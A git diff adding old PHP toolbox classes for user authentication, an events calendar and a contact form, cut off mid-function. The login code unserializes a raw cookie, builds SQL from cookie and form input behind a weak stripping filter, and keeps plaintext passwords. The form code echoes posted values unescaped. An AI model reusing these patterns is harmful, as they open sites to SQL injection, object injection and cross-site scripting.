+       function authuser()
+       {
+               $this->DB =& new GLM_DB();
+               $this->auth['perms'] = 1;
+               $this->page = $GLOBALS['PHP_SELF'];
+               $this->usertable = "authuser";
+               $this->cookie_name = "GLM_AUTH";
+               $this->cookie_exp = "2592000";
+               $this->cookie_domain = URL_BASE;
+               $this->fill_data();
+       }
+
+
+       /**
+        * fill_data:
+       * 
+       * @return mixed
+       * @access public
+       **/
+       function fill_data()
+       {
+               if( $_SESSION['auth'] )
+               {
+                       $this->auth_data =& $_SESSION['auth'];
+                       return( $this->auth_data );
+               }
+               else
+               {
+                       return( false );
+               }
+       }
+
+       /**     verify
+         Checks the user login.  Checks the users IP address to be sure
+         it is not hijacked.
+         @param level - If a level is giving and the user doesn't match the
+         level then the page is not shown. 
+         @return void
+        */
+
+
+       /**
+        * verify: verify the user
+       * 
+       * <p>check the table in $this->usertable for user matching 
+       * password and username and tells if passed or not
+       * </p>
+       * @param $NULL: 
+       * 
+       * @return boolean  
+       * @access public
+       **/
+       function verify($level=NULL)
+       {
+               global $username,$password,$perms,$auth,$LOGOUT,$REMOTE_ADDR;
+               //$dbd = $this->connect();
+               /* Check to see if user is logging out */
+               if($LOGOUT)
+               {
+                       $this->logout();
+               }
+
+               /* Check to see if GLM-AUTH cookie is set then check if 
+                  $auth is registered in session. 
+                */
+               if($_COOKIE[$this->cookie_name])
+               {
+                       $auth = unserialize(stripslashes($_COOKIE[$this->cookie_name]));
+                       // double check the username and password only if the time is greater than checktime
+                       $query = "SELECT        password 
+                               FROM    ".$this->usertable." 
+                               WHERE   id = ".$auth['userid'];
+
+                       if(!$res = $this->DB->db_exec($query))
+                       {
+                               echo "failed ->".$query;
+                       }
+                       $row = pg_fetch_array($res,0);
+                       $pCheck = md5($row['password']);
+                       if($pCheck != $auth['password'])
+                       {
+                               session_start();
+                               session_destroy();
+                               $p = session_get_cookie_params(); 
+                               setcookie(session_name(), "", 0, $p["path"], $p["domain"]);
+                               setcookie($this->cookie_name,"",0,"/");
+                               if(!$this->login())
+                               {
+                                       $this->failed();
+                               }
+                       }
+
+                       $this->auth = $auth;
+                       session_register("auth");
+                       setcookie($this->cookie_name,"",time() - 3600,$this->cookie_domain);
+                       $sessenc = serialize($auth);
+                       setcookie($this->cookie_name,$sessenc,time()+(integer)$this->cookie_exp,$this->cookie_domain);
+               }
+               elseif(!session_is_registered("auth"))
+               {
+                       return( false );
+               }
+               else
+               {
+                       if($auth['siteid'] != $this->cookie_name)
+                       {
+                       return( false );
+                       }
+               }
+
+
+
+               /* Refresh the perms */
+               $oldperms = $this->auth['perms'];
+               $qs = "SELECT   perms 
+                       FROM    ".$this->usertable." 
+                       WHERE   id = ".$auth['userid'];
+
+               if(!$res = pg_exec($this->dbd,$qs))
+               {
+                       echo "failed ->".$qs;
+               }
+               $this->auth['perms'] = pg_result($res,0,'perms');
+               if($level)
+               {
+                       if($this->auth['perms'] & $level)
+                       {       
+                               //echo "GOOD";
+                       }
+                       else 
+                       {
+                               $this->failed("You cannot see this page(Not enough Permissions)");
+                       }
+               }
+               return( true );
+       }
+
+       function sqlBypass( $text )
+       {
+               $text = eregi_replace('[();\'\"]','',$text);
+               return( $text );
+       }
+
+       /**     
+       * login
+       * 
+       *  <p>User login funtcion.  Now this will check for a cookie
+       *  which can be set if the user selects remember my login.</p>
+       *  @return boolean - True if login in successful False not.
+        */
+       function login()
+       {
+               global $auth,$remember_login,$bus_name;
+
+               if( isset( $_POST['username'] ) && $_POST['username'] != "" )
+               {
+                       $qs = "SELECT   * 
+                               FROM    ".$this->usertable."
+                               WHERE   username = '".$this->sqlBypass($_POST['username'])."'
+                               AND             password = '".$this->sqlBypass($_POST['password'])."';";
+
+                       if(!$res = $this->DB->db_exec($qs))
+                       {
+                               echo $qs;
+                       }
+                       if(pg_numrows($res)>0)
+                       {
+                               $row = pg_fetch_array($res,0,PGSQL_ASSOC);
+                               $this->auth['uname'] = $row['fname'].' '.$row['lname'];
+                               $this->auth['perms'] = $row['perms'];
+                               $this->auth['ip'] = $_SERVER['REMOTE_ADDR'];
+                               $this->auth['userid'] = $row['id'];
+                               $this->auth['siteid'] = $this->cookie_name;
+                               $_SESSION['auth'] =& $this->auth;
+                               if( isset( $_POST['remember_login'] ) && $_POST['remember_login'] == "t" )
+                               {
+                                       $sessenc = serialize($auth);
+                                       setcookie($this->cookie_name,$sessenc,time()+(integer)$this->cookie_exp,$this->cookie_domain);
+                               }
+                               return(true);
+                       }
+                       else 
+                       {
+                               session_register("auth");
+                               $auth['failed'] = true;
+                               return(false);
+                       }
+               }
+               else 
+               {
+                       session_register("auth");
+                       $auth['failed'] = true;
+                       return(false);
+               }
+       }
+
+
+       /**
+        * is_admin:
+       *
+       * <p>Tells if user is an admin user or not</p>
+       * 
+       * @return boolean
+       * @access public 
+       **/
+       function is_admin()
+               {
+                       if( $_SESSION['auth']['admin'] == 't' )
+                       {
+                               return( true );
+                       }
+                       else
+                       {
+                               return( false );
+                       }
+               }
+
+       /** login_screen 
+       *
+       *  <p>Outputs the login screen</p>
+       *
+       *  @return void
+       * @access public 
+        */
+       function login_screen()
+       {
+               $out = '<form action="'.$this->page.'" method="post">
+                       <table width="400" align="center" summary="Header Information" cellpadding="0" cellspacing="0" border="0">
+                       <tr valign=top align=left>
+                       <td colspan="2">Forgot your password Click <a href="'.BASE_URL.'forgot.phtml">here</a>.</td>
+                       </tr>';
+                       if( $this->remember == true )
+                       {
+                               $out .= '<tr valign=top align=left>
+                       <td colspan="2">Remember My Login!<input type="checkbox" name="remember_login" value="t"></td>
+                       </tr>';
+                       }
+                       $out .= '<tr valign=top align=left>
+                       <td colspan="2">&nbsp;</td>
+                       </tr>
+                       <tr valign=top align=left>
+                       <td>Username:</td>
+                       <td><input type="text" name="username"
+                       value="';
+                       if ( isset( $this->auth["uname"] ) ) 
+                       {
+                               $out .= $this->auth["uname"];
+                       }
+                       $out .= '" size=32 maxlength=32></td>
+                       </tr>
+                       <tr valign=top align=left>
+                       <td>Password:</td>
+                       <td><input type="password" name="password" size=32 maxlength=32></td>
+                       </tr>
+                       <tr>
+                       <td colspan="2">&nbsp;</td>
+                       <td align="right" colspan="2"><input type="submit" name="submit" value="Login now"></td>
+                       </tr>
+                       </table>
+                       <p>'; 
+                       if ( isset( $_GET['username']) )
+                       {
+                               $out .= '<!-- failed login code -->
+                       <p>
+                       <table>
+                       <tr>
+                       <td colspan=2><font color=red><b>Either your username or your password
+                       are invalid.<br>
+                       Please try again!</b></font></td>
+                       </tr>
+                       </table>';
+                       }
+                       $out .= '</table>
+                       </form>
+                       <script language="JavaScript">
+                       <!--
+                       if (document.forms[0][0].value != \'\')
+                       {
+                               document.forms[0][1].focus();
+                       } 
+                       else 
+                       {
+                               document.forms[0][0].focus();
+                       }
+               // -->
+               </script>';
+               return( $out );
+       } 
+
+       /**     logout
+         Ends the current session and distroys any cookies that were
+         created
+         @return void
+       * @access public 
+        */
+       function logout()
+       {
+               session_start();
+               session_destroy();
+               $p = session_get_cookie_params(); 
+               setcookie(session_name(), "", 0, $p["path"], $p["domain"]);
+               setcookie($this->cookie_name,"",0,"/");
+               header("Location: index.phtml");
+               exit();
+       }
+
+       /**     failed
+         Stop the script from going any further.
+         @param reply - string to show user if any.
+         @return void
+       * @access public 
+        */
+       function failed($reply=NULL)
+       {
+               if(isset($reply))
+               {
+                       die('<b>'.$reply.'</b>');
+               }       
+               else 
+               {
+                       exit;
+               }
+       }
+}
+
+?>
diff --git a/classes/class_calendar.inc b/classes/class_calendar.inc
new file mode 100755 (executable)
index 0000000..4d5bc9a
--- /dev/null
@@ -0,0 +1,228 @@
+<?php
+       /** 
+       * Toolbox Library for Calendar applications 
+       * 
+       * Class to build the events calendars both flat and by month view.
+       * 
+       * @package Toolbox Library
+       * @subpackage Calendar Library
+ * @filesource
+       */
+       /** 
+       * Toolbox Library for Calendar applications 
+       * 
+       * Class to build the events calendars both flat and by month view.
+       * 
+       * @package Toolbox Library
+       * @subpackage Calendar Library
+       */
+class GLM_CALENDAR {
+       var $month;
+       var $year;
+       var $size;
+       var $href;
+       var $href2;
+       var $FT1;
+       var $FT2;
+       var $THCLR;     // Weekday Title color
+       var $TDBS;      // blank space color
+       var $NOTES;     // not used
+       var $CALT;      // Table title bar color
+       var $TBLCR;     // Table title bar color        
+       var $starting;
+
+       /**
+        * GLM_CALENDAR:
+        * 
+        * @return viod 
+        * @access public 
+        **/
+       function GLM_CALENDAR()
+       {
+               $this->month = date("m");
+               $this->year = date("Y");
+               $this->size = 2;
+               $this->href = $GLOBALS["PHP_SELF"].'?month=';
+               $this->href2 = $GLOBALS["PHP_SELF"];
+               $this->FT1 = '<span class="content">';
+               $this->FT2 = '<h3>';
+               $this->THCLR = "#FFFAF0";       // Weekday Title color
+               $this->TDBS = "#e0e0e0";    // blank space color
+               $this->NOTES = "#FFFA00";   // not used
+               $this->CALT = "";               // Table title bar color
+               $this->TBLCR = "";              // Table title bar color        
+               $this->starting = date("m-d-Y",mktime(23,59,59,$month,1,$year));
+               $this->output_string = "";
+       } 
+
+       /**
+        * build_calendar  
+        * 
+        * Build the calendar :) 
+        * 
+        * @return string Calendar output  
+        * @access public
+        **/
+       function build_calendar() 
+       {
+
+               // Change to month/year to display 
+               if( !isset( $this->month ) )
+                       $this->month = date('m');
+               if( !isset( $this->year ) )
+                       $this->year = date('Y');
+
+               $next = $this->month +1;
+               $next_year = $this->year;
+               $prev = $this->month -1;
+               $prev_year = $this->year;
+
+               if( $next == 13 )
+               {
+                       $next = 1;
+                       $next_year++;
+               }
+
+               if( $next == 0 )
+               {
+                       $next = 12;
+                       $next_year--;
+               }
+
+               if( $prev == 13 )
+               {
+                       $prev = 1;
+                       $prev_year++;
+               }
+
+               if( $prev == 0 )
+               {
+                       $prev = 12;
+                       $prev_year--;
+               }
+
+               $prev_month = "<TH ALIGN=LEFT WIDTH=30><A HREF=\"".$this->href.$prev."&year=".$prev_year."\">&lt;-</A></TH>\n";
+               $next_month = "<TH ALIGN=RIGHT WIDTH=30><A HREF=\"".$this->href.$next."&year=".$next_year."\">-&gt;</A></TH>\n";
+
+
+               // How to display the titles on the header of the calendar 
+               if( $this->size == 2 )
+               {
+                       $height = 50;
+                       $width = 60;
+                       $table_width = 500 ;
+                       $week_titles  = array
+                               (
+                                0 => "Sunday",
+                                1 => "Monday",
+                                2 => "Tuesday",
+                                3 => "Wednesday",
+                                4 => "Thursday",
+                                5 => "Friday",
+                                6 => "Saturday"
+                               );
+               }
+               if( $this->size == 1 )
+               {
+                       $height = 1;
+                       $width = 1;
+                       $table_width = 100;
+                       $week_titles = array
+                               (
+                                0 => "S",
+                                1 => "M",
+                                2 => "T",
+                                3 => "W",
+                                4 => "T",
+                                5 => "F",
+                                6 => "S"
+                               );
+               }
+
+               // determine total number of days in a month 
+               $totaldays = 0;
+               while ( checkdate( $this->month, $totaldays + 1, $this->year ) )
+                       $totaldays++;
+
+               // build table 
+               $this->output_string .= "<TABLE ALIGN=CENTER BORDER=2 CELLPADDING=0 CELLSPACING=0 WIDTH='.$table_width.' COLSPAN=7 BGCOLOR=\"$TBLCR\" ALIGN=RIGHT>\n";
+               $calendar = date( "F", mktime( 0, 0, 0, $this->month + 1, 0, $this->year ) );
+               $this->output_string .= "<TR BGCOLOR=\"$CALT\" HEIGHT=20>$prev_month<TH COLSPAN=5><span class=\"highlight\">".$calendar." ".$this->year."</span></TH>$next_month</TR>\n";
+               $this->output_string .= "<TR>\n";
+               //$this->output_string '<TH COLSPAN=2 WIDTH=150 BGCOLOR="'.$THCLR.'">'.$THFT.'Things to Do</FONT></TH>';
+
+               for ( $x = 0; $x < 7; $x++ )
+               {
+                       $this->output_string .= "<TH WIDTH=\"$width\" BGCOLOR=\"$THCLR\"><span class=\"smtext\">".$week_titles[$x]."</span></TH>\n";
+               }
+               $this->output_string .= "</TR>\n";
+               // ensure that a number of blanks are put in so that the first day of the month
+               // lines up with the proper day of the week 
+               $offset = date( "w", mktime( 0, 0, 0, $this->month, 0, $this->year ) ) + 1;
+               $this->output_string .= "<TR>\n";
+
+               if ( $offset > 0 && $offset != 7 )
+                       $this->output_string .= str_repeat( "<TD WIDTH=\"$width\" HEIGHT=\"$height\" BGCOLOR=\"$TDBS\">$FT1&nbsp;</FONT></TD>\n",$offset);
+               if( $offset == 7 )
+                       $offset = 0;
+               // start entering in the information 
+               for ( $day = 1; $day <= $totaldays; $day++ ) {
+                       $this->output_string .= "<TD WIDTH=\"$width\" HEIGHT=\"$height\" VALIGN=TOP ALIGN=LEFT>$FT1";
+                       /*
+                          if(data( $this->month, $day, $this->year )){
+                          $this->output_string .= "<a href=\"$href2\">";
+                          }
+                        */
+                       $this->output_string .= $day;
+                       /*
+                          if(data( $this->month, $day, $this->year )){
+                          $this->output_string .= "</a>";
+                          }
+                        */
+                       $this->output_string .= "</FONT>";
+                       $this->output_string .= "<BR>\n";
+                       if( $size == 2 )
+                       {
+                               //get_data( $this->month, $day, $this->year );
+                       }
+                       $this->output_string .= "</TD>\n";
+                       $offset++;
+
+                       // if we're on the last day of the week, wrap to the other side 
+                       if ( $offset > 6 )
+                       {
+                               $offset = 0;
+                               $this->output_string .= "</TR>\n";
+                               if ( $day < $totaldays )
+                                       $this->output_string .= '<TR>';
+                       }
+               }
+
+               // fill in the remaining spaces for the end of the month, just to make it look
+               // pretty 
+               if ( $offset > 0 )
+                       $offset = 7 - $offset;
+               if ( $offset > 0 )
+                       $this->output_string .= str_repeat( "<TD WIDTH=\"$width\" HEIGHT=\"$height\" BGCOLOR=\"$TDBS\">$FT1&nbsp;</FONT></TD>\n", $offset );
+
+               // end the table 
+               $this->output_string .= "</TR></TABLE>\n";
+       }
+
+       /**
+        * show_calendar: display the calendar
+        * @param integer $m: month 
+        * @param integer $y: year
+        * 
+        * @return void
+        * @access public
+        **/
+       function show_calendar($m,$y)
+       {
+               $this->month = $m;
+               $this->year = $y;
+               $this->build_calendar();
+               echo $this->output_string;
+       }
+}
+?>
diff --git a/classes/class_contact_form.inc b/classes/class_contact_form.inc
new file mode 100755 (executable)
index 0000000..aeaab92
--- /dev/null
@@ -0,0 +1,956 @@
+<?php
+/** 
+ * Toolbox Classes 
+ * <p>
+ * creates a contact form with an updatable fields array.
+ * Don't set values in the var part only declare them.  If you set them their they will be like
+ * defines and cannot be changed.  Setup in constructor function then there's no problem.
+ * </p>
+ * 
+ * @package Toolbox
+ * @subpackage Forms
+ * @tutorial Toolbox/Forms/contact_form.cls 
+ * @filesource
+*/
+/**
+* Include DocBlock
+*/
+include_once("class_db.inc");
+/**
+* Include DocBlock
+*/
+include_once("class_toolbox.inc");
+/**
+ * contact_form 
+ * <p>
+ * creates a contact form with an updatable fields array.
+ * Don't set values in the var part only declare them.  If you set them their they will be like
+ * defines and cannot be changed.  Setup in constructor function then there's no problem.
+ * </p>
+ * 
+ * @package Toolbox
+ * @subpackage Forms
+ * @version $id$
+ * @copyright 2005 Gaslight Media
+ * @author Steve Sutton <steve@gaslightmedia.com> 
+ * @license 
+ */
+class contact_form {
+       /**
+        * DB_fields 
+        *
+        * array for the needed fields
+        * @var mixed
+        * @access public
+        */
+       var $DB_fields;
+       /**
+        * CDB 
+        *
+        * database object
+        * @var mixed
+        * @access public
+        */
+       var $CDB;
+       /**
+        * email 
+        * the email address. if blank will not send out
+        * 
+        * @var mixed
+        * @access public
+        */
+       var $email;
+       /**
+        * table_name 
+        * database table name.
+        * 
+        * @var mixed
+        * @access public
+        */
+       var $table_name;
+       /**
+        * styleLabel 
+        * css style for the label cell
+        * 
+        * @var mixed
+        * @access public
+        */
+       var $styleLabel;
+       /**
+        * fieldcell 
+        * css style class for fieldcell
+        * 
+        * @var mixed
+        * @access public
+        */
+       var $fieldcell;
+       /**
+        * contact_db 
+        * weather or not they have database
+        * 
+        * @var mixed
+        * @access public
+        */
+       var $contact_db;
+       /**
+        * instructioncell 
+        * style for the instruction cell
+        * 
+        * @var mixed
+        * @access public
+        */
+       var $instructioncell;
+       /**
+        * subject 
+        * Subject line of the E-mail
+        * 
+        * @var mixed
+        * @access public
+        */
+       var $subject;           
+       /**
+        * submit_value  
+        * value for the submit button on form
+        * 
+        * @var mixed
+        * @access public
+        */
+       var $submit_value;
+       /**
+        * subject 
+        * the subject line for the email
+        * 
+        * @var mixed
+        * @access public
+        */
+       var $subject;
+       /**
+        * not_interested 
+        * 
+        * @var mixed
+        * @access public
+        */
+       var $not_interested;
+       /**
+        * contact_form 
+        * 
+        * @access public
+        * @return void
+        */
+       function contact_form()
+       {
+               $this->CDB =& new GLM_DB();                                     // creates DB object    
+               $this->set_DB_fields();                                         // set up the DB_fields array (configuration)
+               $this->set_int_array();                                         // interest array
+               $this->email = OWNER_EMAIL;                                     // email address for mail function
+               $this->table_name = 'contact';                          // the contact table 
+               $this->styleLabel = "labelcell";                        // css style for the labelcell
+               $this->fieldcell = "fieldcell";                         // css style for the field input
+               $this->instructioncell = "instructioncell"; // css style for the field input
+               $this->submit_value = 'Submit Form';
+               $this->subject = 'Contact Request from website '.SITENAME;
+               $this->contact_db = 1;                                          // if they have contact database or not
+               $this->get_form();                                                      // the whole thing runs upon class creation
+       }
+
+       /**
+       * get_form: one function to rule them all
+        * 
+        * @return void 
+        * @access public
+        **/
+       function get_form()
+       {
+               if( $_POST )
+               {
+                       if( $error = $this->form_process() )
+                       {
+                               echo '<div id="form-warning-top">Warning: The form was  not sent, please review the errors below.</div>';
+                               echo $this->display_form( $error );
+                       }
+               }
+               else
+               {
+                       echo $this->display_form();
+               }
+       }
+
+       /**
+        * set_DB_fields:
+        * 
+        * @return void 
+        * @access public
+        **/
+       function set_DB_fields()
+       {
+               $Zinst = 'Not a valid ZIP Code';
+               $Einst = 'You need to enter a valid email address';
+               $DB_fields[]=array('name'=>'fname',             'title'=>'First Name:', 'type' => 'text');
+               $DB_fields[]=array('name'=>'lname',             'title'=>'Last Name:',  'type' => 'text');
+               $DB_fields[]=array('name'=>'address',   'title'=>'Address 1:',  'type' => 'text');
+               $DB_fields[]=array('name'=>'address2',  'title'=>'Address 2:',  'type' => 'text');
+               $DB_fields[]=array('name'=>'city',              'title'=>'City:',               'type' => 'text');
+               $DB_fields[]=array('name'=>'state',             'title'=> 'State:',             'type' => 'state');
+               $DB_fields[]=array('name'=>'zip',               'title' => 'ZIP:',              'type' => 'text',               'vtype'=>'zip',         'inst'=>$Zinst);
+               $DB_fields[]=array('name'=>'email',             'title' => 'Email:',    'type' => 'text',               'vtype'=>'email',       'req'=>1,       'inst'=>$Einst);
+               $DB_fields[]=array('name'=>'verify_email','title' => 'Verify Email:','type' => 'text',  'vtype'=>'email',       'req'=>1,       'inst'=>$Einst);
+               $DB_fields[]=array('name'=>'phone',             'title' => 'Phone:',    'type' => 'text',               'vtype'=>'phone');
+               $DB_fields[]=array('name'=>'fax',               'title' => 'Fax:',              'type' => 'text',               'vtype'=>'phone');
+               $DB_fields[]=array('name'=>'comments',  'title' =>'Comments:',  'type' => 'desc'); 
+               $DB_fields[]=array('name'=>'mail_ok',   'title' => 'You can send me email:','type' => 'radio');
+               $DB_fields[]=array('name'=>'interest',  'title' => 'Interest:','type' => 'interest');
+               $this->DB_fields = &$DB_fields; 
+       }
+
+       /**
+        * set_int_array:
+        * 
+        * @return void
+        * @access public
+        **/
+       function set_int_array()
+       {
+               $query = "select * from contact_inq order by pos;";
+               if( $data = $this->CDB->db_auto_get_data( $query ) )
+               {
+                       foreach( $data as $key => $value )
+                       {
+                               $int_array[$value['id']] = $value['header'];
+                       }
+                       $not_interested = 1;
+               }
+               else
+               {
+                       $not_interested = 0;
+                       $int_array = array();
+               }
+               $this->int_array = $int_array;
+               $this->interested = $not_interested;
+       }
+
+       /**
+        * interest:
+        * @param $field: 
+        * 
+        * @return void
+        * @access public
+        **/
+       function interest($field)
+       {               
+               foreach( $this->int_array as $key => $value )
+               {
+                       $out .= '<label for="int'.$key.'"><input type="checkbox" id="int'.$key.'" name="interest[]" value="'.$key.'"';
+                       if( strpos( $field, (string)$key ) )
+                       {
+                               $out .= ' checked';                             
+                       }
+                       $out .= '>'.$value.'</label>';          
+               }               
+               return( $out );
+       }
+
+       /**
+       * display_form: shows the form and any errors in it
+        * @param $error = NULL: error array  
+        * 
+        * @return string $out
+        * @access public
+        **/
+       function display_form($error=NULL)
+       {                       
+               if(is_array($_POST))
+               {
+                       foreach($_POST as $k=>$v)
+                       {
+                               if( !is_array( $v ) )
+                               {
+                                       $_POST[$k] = trim(stripslashes($v));
+                               }
+                       }
+               }
+               $colcount = 1;
+               $out = '
+               <div id="contact">
+                       <form action="'.$_SERVER['REQUEST_URI'].'" method="POST">';
+                               $out .= '
+                               <table>';
+               foreach($this->DB_fields as $key=>$value)
+               {
+                       $label = $this->styleLabel;
+                       $field = $this->fieldcell;
+                       $instruction = $this->instructioncell;
+                       switch( $value['type'] )
+                       {
+                               case "state":
+                                       $out .= '
+                                       <tr';
+                                       $out .= ( $error[$value['name']] ) ? ' class="req"' : '';
+                                       $out .= '>';
+                                       $out .= '<td class="'.$label.'"><label for="'.$value["name"].'">';
+                                       if($value['req'])
+                                       {
+                                               $out .= '<span class="req">*';
+                                       }
+                                       $out .= $value['title'];
+                                       if($value['req'])
+                                       {
+                                               $out .= '</span>';
+                                       }       
+                                       $out .= '</label></td>
+                                               ';
+                                       $out .= '<td class="'.$field.'">';
+                                               $out .= GLM_TOOLBOX::build_picklist($value['name'],$GLOBALS['states_US'],$_POST['state']);
+                                       $out .= '</td>';
+                                       $out .= '</tr>';
+                               break;
+
+                               case "text":
+                               $out .= '
+                                       <tr';
+                                       $out .= ( $error[$value['name']] ) ? ' class="req"' : '';
+                                       $out .= '>';
+                                       $out .= '
+                                       <td class="'.$label.'"><label for="'.$value["name"].'">';
+                                       if($value['req'])
+                                       {
+                                               $out .= '<span class="req">*';
+                                       }
+                                       $out .= $value['title'];
+                                       if($value['req'])
+                                       {
+                                               $out .= '</span>';
+                                       }       
+                                       $out .= '</label></td>
+                                               <td class="'.$field.'">
+                                               <input id="'.$value["name"].'" name="'.$value["name"].'" value="'.$_POST[$value["name"]].'" maxlength="50">';
+                                       if( $error[$value['name']] )
+                                       {
+                                               $out .= '<div class="form-warning-inside">';
+                                               $out .= $value['inst'];
+                                               $out .= '</div>';
+                                       }
+                                       $out .= '</td>';
+                               $out .= '
+                       </tr>';
+                               break;
+
+                               case "static":
+                                       $out .= '<tr><td class="'.$label.'" align="right">'.$value["title"].'</td>
+                                       <td class="'.$field.'">'.$_POST[$value["name"]].'</td>
+                                       </tr>';
+                               break;
+
+                               case "interest":
+                                       if( !$this->not_interested )
+                                       {
+                                               $out .= '<tr';
+                                               $out .= ( $error[$value['name']] ) ? ' class="req"' : '';
+                                               $out .= '><td class="'.$this->styleLabel.'">'.$value["title"].'</td>
+                                               <td class="checkbox '.$this->fieldcell.'">'.$this->interest($_POST[$value["name"]]);
+                                               if( $error[$value['name']] == 1 )
+                                               {
+                                                       $out .= '<div class="form-warning-inside">';
+                                                       $out .= ( $value['inst'] != '' ) ? $value['inst']: 'Empty!';
+                                                       $out .= '</div>';
+                                               }
+                                               $out .= '</td>
+                                               </tr>';
+                                       }
+                               break;
+
+                               case "img":
+                                       $out .= '<tr></tr>';
+                               $out .= '<input type="hidden" name="old'.$value["name"].'" value="'.$_POST[$value["name"]].'">';
+                               if($_POST[$value['name']] != "")
+                               {
+                                       $out .= '<tr><td class="'.$label.'">Current Image:</td>';
+                                       $out .= '<td class="'.$field.'"><img src="'.MIDSIZED.$_POST[$value["name"]].'">
+                                               </td>
+                                               </tr>
+                                               <tr>
+                                               <td class="'.$this->styleClass.'">Delete this image:</td>
+                                               <td class="'.$field.'">
+                                               <input type="radio" name="delete'.$value["name"].'" value="1">Yes
+                                               <input type="radio" name="delete'.$value["name"].'" value="2" CHECKED>No
+                                               </td>
+                                               </tr>';
+                               }
+                               $out .= '<tr><td class="'.$label.'">New '.$value["title"].':</td>';
+                               $out .= '<td class="'.$field.'"><input type="file" name="'.$value["name"].'"></td>';
+                               $out .= '</tr>';
+                               break;
+
+                               case "file":
+                                       $out .= '<tr></tr>';
+                               $out .= '<input type="hidden" name="old'.$value["name"].'" value="'.$_POST[$value["name"]].'">';
+                               if($_POST[$value['name']] != "")
+                               {
+                                       $out .= '<tr><td class="'.$label.'">Current File:</td>';
+                                       $out .= '<td class="'.$field.'">'.$_POST[$value["name"]].'
+                                               </td>
+                                               </tr>
+                                               <tr>
+                                               <td class="'.$label.'">Delete this File:</td>
+                                               <td class="'.$field.'">
+                                               <input type="radio" name="delete'.$value["name"].'" value="1">Yes
+                                               <input type="radio" name="delete'.$value["name"].'" value="2" CHECKED>No
+                                               </td>
+                                               </tr>';
+                               }
+                               $out .= '<tr><td class="'.$label.'">New '.$value["title"].':</td>';
+                               $out .= '<td class="'.$field.'"><input type="file" name="'.$value["name"].'"></td>';
+                               $out .= '</tr>';
+                               break;
+
+                               case "desc":
+                                       $rows='';
+                                       $cols='';
+                                       if($value['rows'])
+                                       {
+                                               $rows=' rows="'.$value['rows'].'"';
+                                       }
+                                       if($value['cols'])
+                                       {
+                                               $cols=' cols="'.$value['cols'].'"';
+                                       }
+                                       
+                                       $out .= '<tr';
+                                       $out .= ( $error[$value['name']] ) ? ' class="req"' : '';
+                                       $out .= '><td colspan="2">'.$value[title].'
+                                               <textarea name="'.$value["name"].'">'.$_POST[$value["name"]].'</textarea>';
+                               $out .= '</tr>';
+                               break;
+
+                               case "hide":
+                                       $out .= '<input type="hidden" name="'.$value["name"].'" value="'.$value["val"].'">';
+                               break;
+
+                               case "radio":
+                                       $out .= '<tr';
+                                       $out .= ( $error[$value['name']] ) ? ' class="req"' : '';
+                                       $out .= '><td class="'.$this->styleLabel.'">'.$value[title].'</td>';
+                               $out .= '<td class="'.$this->fieldcell.' checkbox"><input type="checkbox" name="'.$value["name"].'" value="t"';
+                               if( !$value['defaultno'] || $_POST[$value['name']] == 't' )
+                               {
+                                       $out .= ' checked';
+                               }
+                               $out .= '> Yes';
+                               $out .= '</td>';
+                                       if( $error[$value['name']] == 1 )
+                                       {
+                                               $out .= '<div class="form-warning-inside">';
+                                               $out .= ( $value['inst'] != '' ) ? $value['inst']: 'Empty!';
+                                               $out .= '</div>';
+                                       }
+                               $out .= '</tr>';
+                               break;
+
+                               case "date":
+                                       $out .= '<tr><td class="'.$label.'">'.$value[title].'</td>';
+                               $out .= '<td class="'.$field.'">';
+                               $date_entry = GLM_TOOLBOX::date_entry($_POST[$value['name'].'_month'],$_POST[$value['name'].'_day'],$_POST[$value['name'].'_year'],$value['name'].'_month',$value['name'].'_day',$value['name'].'_year');
+                               $out .= $date_entry.'</td>';
+                                       if( $error[$value['name']] == 1 )
+                                       {
+                                               $out .= '<div class="form-warning-inside">';
+                                               $out .= ( $value['inst'] != '' ) ? $value['inst']: 'Empty!';
+                                               $out .= '</div>';
+                                       }
+                               $out .= '</tr>';
+                               break;
+                               
+                               case "drop":
+                                       $out .= '<tr';
+                                       $out .= ( $error[$value['name']] ) ? ' class="req"' : '';
+                                       $out .= '><td class="'.$label.'">'.$value[title].'</td>';
+                               $out .= '<td class="'.$field.'">';
+                               $date_entry = GLM_TOOLBOX::build_picklist($value['name'],$value['drop'],$_POST[$value['name']]);
+                               $out .= $date_entry.'</td>';
+                                       if( $error[$value['name']] == 1 )
+                                       {
+                                               $out .= '<div class="form-warning-inside">';
+                                               $out .= ( $value['inst'] != '' ) ? $value['inst']: 'Empty!';
+                                               $out .= '</div>';
+                                       }
+                               $out .= '</tr>';
+                               break;
+                       }
+               }               
+               $submit_val = ( $this->submit_value != '' ) ? $this->submit_value : 'Send';
+               $out .= '<tr align="center"><td colspan="2"><input type="submit" name="Command" value="'.$submit_val.'"></td></tr>';
+               $out .= '</table>';
+               $out .= '</form></div>';
+               return( $out );
+       }
+
+       /**
+        * get_db_fields 
+        * 
+        * @access public
+        * @return void
+        */
+       function get_db_fields()
+       {
+               if( !$this->contact_db )
+               {
+                       return( false );
+               }
+               $table = $this->table_name;
+               $query = "select * from $table limit 1 offset 0;";
+               if( $res = $this->CDB->db_exec( $query ) )
+               {
+                       for( $i = 0; $i < pg_numfields($res); $i++ )
+                       {
+                               $fields[] = pg_fieldname( $res, $i );
+                       }
+                       return( $fields );
+               }
+               else
+               {
+                       return( false );
+               }
+       }
+
+       /**
+        * check_valid_fields 
+        * validates the fields based on vtype in DB_fields array
+        * 
+        * @access public
+        * @return void
+        */
+       function check_valid_fields()
+       {
+               if( is_array( $this->DB_fields ) )
+               {
+                       foreach( $this->DB_fields as $key => $val )
+                       {
+                               switch( $val['vtype'] )
+                               {
+                                       case 'zip':
+                                       if( !preg_match( "/^(([0-9]{5})([ -+]?([0-9]{4}))?)$/i", $_POST[$val['name']] )
+                                               && !preg_match( "/^[a-zA-Z]\d[a-zA-Z][ -]?\d[a-zA-Z]\d$/i", $_POST[$val['name']] ) )
+                                               {
+                                                       if( $val['req'] == 1 )
+                                                       {
+                                                               $error[$val['name']] = 1;
+                                                       }
+                                                       unset( $_POST[$val['name']] );
+                                               }
+                                       break;
+
+                                       case 'email':
+                                               if( !GLM_TOOLBOX::valid_email( $_POST[$val['name']] ) )
+                                               {
+                                                       if( $val['req'] == 1 )
+                                                       {
+                                                               $error[$val['name']] = 1;
+                                                       }
+                                                       unset( $_POST[$val['name']] );
+                                               }
+                                       break;
+
+                                       case 'phone':
+                                               //if( !preg_match( "/^((\([0-9]{3}\))[ ]*|([0-9]{3}) *-* *)?[0-9]{3} *-* *[0-9]{4} *.{0,10}$/i", $_POST[$val['name']] ) )
+                                               //{
+                                                       if( $val['req'] == 1 )
+                                                       {
+                                                               $error[$val['name']] = 1;
+                                                       }
